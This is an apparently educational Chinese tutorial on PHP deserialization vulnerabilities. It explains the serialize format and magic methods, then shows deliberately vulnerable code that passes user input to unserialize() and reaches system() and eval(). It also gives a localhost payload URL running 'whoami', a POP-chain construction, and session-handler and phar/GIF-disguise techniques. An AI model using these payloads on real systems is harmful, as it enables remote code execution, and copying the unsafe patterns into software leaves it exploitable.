什么是反序列化

php反序列化中
序列化:對象信息轉化為字符串
反序列化:字符串轉化為對象信息
作用:便于傳輸和存儲

php序列化簡述

php
class S{
    public $test="e0mlja";
    var $url;
    function setUrl($par){
     $this->url = $par;
  }
}
$s=new S();
$s->setUrl("http://123.com");
echo serialize($s);
?>
上述的example中,打印一下結果如下
O:1:"S":2:{s:4:"test";s:6:"e0mlja";s:3:"url";s:14:"http://123.com";}
分析一下代表的意思
O:對象
1:數量,代表1個
"S":這個對象(類)的名稱,為s
2:對象里面有兩個變量,內部的變量用{}包圍
s:數據類型,這里為string
4:長度,代表4個長度
test:變量的名字
s:數據類型
6:變量的值的長度
e0mlja:變量的值的值
后續的url可以依次類推

php修飾符影響

class A{
    private $test = "whoami1";
    protected $test1 = "whoami2";
    public $test2 = "whoami3";
}
$a=new A();
echo serialize($a);
?>
private 前面多了一個A,也就是多了一個類名,長度為7,其實構造方式為%00類名%00成員名
protected 前面多了一個* 長度為8 構造方式為%00*%00成員名

php反序列化簡述

class S{
    public $test="e0mlja";
    var $url;
    function setUrl($par){
     $this->url = $par;
  }
}
$s=new S();
$s->setUrl("http://123.com");
echo serialize($s);
$u=unserialize('O:1:"S":2:{s:4:"test";s:6:"e0mlja";s:3:"url";s:14:"http://123.com";}');
var_dump($u);
?>
看下面的結果,能夠看到unserialize是還原了序列化的字符串

php中的反序列化漏洞

通過控制php中的魔術方法,傳入構造的惡意反序列化后的字符串,通過魔術方法觸發反序列化漏洞,執行我們的惡意代碼。
注意反序列化構造的類名必須和源碼中的一致,不能新生成一個類名。
漏洞前提:
1.unserialize的參數可控
2.有可以利用的魔術方法

常用魔術方法

__wakeup() 使用unserialize時觸發
__sleep() 使用serialize時觸發
__destruct() 對象被銷毀時觸發
__call() 在對象上下文中調用不可訪問的方法時觸發
__callStatic() 在靜態上下文中調用不可訪問的方法時觸發
__get() 用于從不可訪問的屬性讀取數據
__set() 用于將數據寫入不可訪問的屬性
__isset() 在不可訪問的屬性上調用isset()或empty()觸發
__unset() 在不可訪問的屬性上使用unset()時觸發
__toString() 當對象被當作字符串輸出的時候自動觸發
__invoke() 當腳本嘗試將對象調用為函數時觸發

簡單的反序列化漏洞

class A{
    var $test = "demo";
    function __destruct(){
        @system($this->test);
    }
}
$test = $_GET['test'];
$test_unser = unserialize($test);
?>
利用過程
1.生成反序列化字符串
class A{
    var $test = "whoami";
}
$a=new A();
echo serialize($a);
?>
2.發送數據
http://127.0.0.1/1.php?test=O:1:%22A%22:1:{s:4:%22test%22;s:6:%22whoami%22;}
3.獲取結果

中等復雜的反序列化利用

    class A{
        public $target;
        function __construct(){
            $this->target = new B;
        }
        function __destruct(){
            $this->target->action();
        }
    }
    class B{
        function action(){
            echo "action B";
        }
    }
    class C{
        public $test;
        function action(){
            echo "action A";
            eval($this->test);
        }
    }
    unserialize($_GET['test']);
?>
利用分析
(1)反序列化的傳參為test,test可以傳入序列化后的字符串
(2)調用的結果在于classC中的eval方法造成代碼執行
(3)執行eval方法需要調用action()方法(非自動調用所以需要找觸發點),action()方法的調用可以再ClassA的__destruct中調用
(4)根據分析結果寫出來一個利用的pop鏈子
php
class A{
        public $target;
        function __destruct(){
            $this->target = new C();
            $this->target->action();
        }
    }
 class C{
        public $test="phpinfo();";
        function action(){
            @eval($this->test);
        }
    }
$a=new A();
echo serialize($a);
?>

session反序列化

參考
https://xz.aliyun.com/t/6753
代碼1
php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
此文件的作用主要是設置session的值,可以通過session get方式傳參設置
代碼2
php
  error_reporting(0);
  ini_set('session.serialize_handler','php');
  session_start();
    class e0m{
    public $name = 'e0m';
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      echo '
'.$this->name;
    }
  }
  $str = new e0m();
  echo serialize($str);
 ?>
此文件的作用主要是驗證不同存儲方式的session影響
利用過程
訪問session1,獲取session,session的結果可以再php.ini文件中查看配置的路徑
訪問hello.php,獲取反序列化的結果
修改session文件,將需要反序列化的結果補充到session中,然后訪問hello.php

利用的話,可以看一下這個文章
https://cloud.tencent.com/developer/article/2035863

phar

特定于php的壓縮文件,類似于java的jar,不經過解壓就可以直接訪問
要求
php.ini中設置為phar.readonly=Off
php version>=5.3.0

構造一個phar文件

php
    class e0mObject {
    }
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("");
    $o = new e0mObject();
    $phar->setMetadata($o);
    $phar->addFromString("e0m.txt", "test");
    $phar->stopBuffering();
?>

驗證反序列化漏洞存在,調用file_get_contents時觸發了反序列化,自動調用了__destruct方法。

 class e0mObject {
        public function __destruct() {
            echo 'success';
        }
    }
$filename = 'phar://phar.phar/e0m.txt';
    file_get_contents($filename);
?>

由于phar文件的php識別只驗證了__HALT_COMPILER();?>,可以通過如下$phar->setStub("GIF89a"."");將文件修改為Gif格式,然后利用phar偽協議進行進一步的利用。

尋找反序列化漏洞

(1)尋找參數可控的unserialize()觸發點
(2)尋找合適的漏洞點,比如存在eval,file等相關操作的魔術方法
(3)通過魔術方法一系列的調用,構造出一條調用棧
(4)根據調用棧寫出payload

總結

php的反序列化還是需要多動手,多梳理一下流程,和java有相似之處,但是尋找調用點還需要經驗等。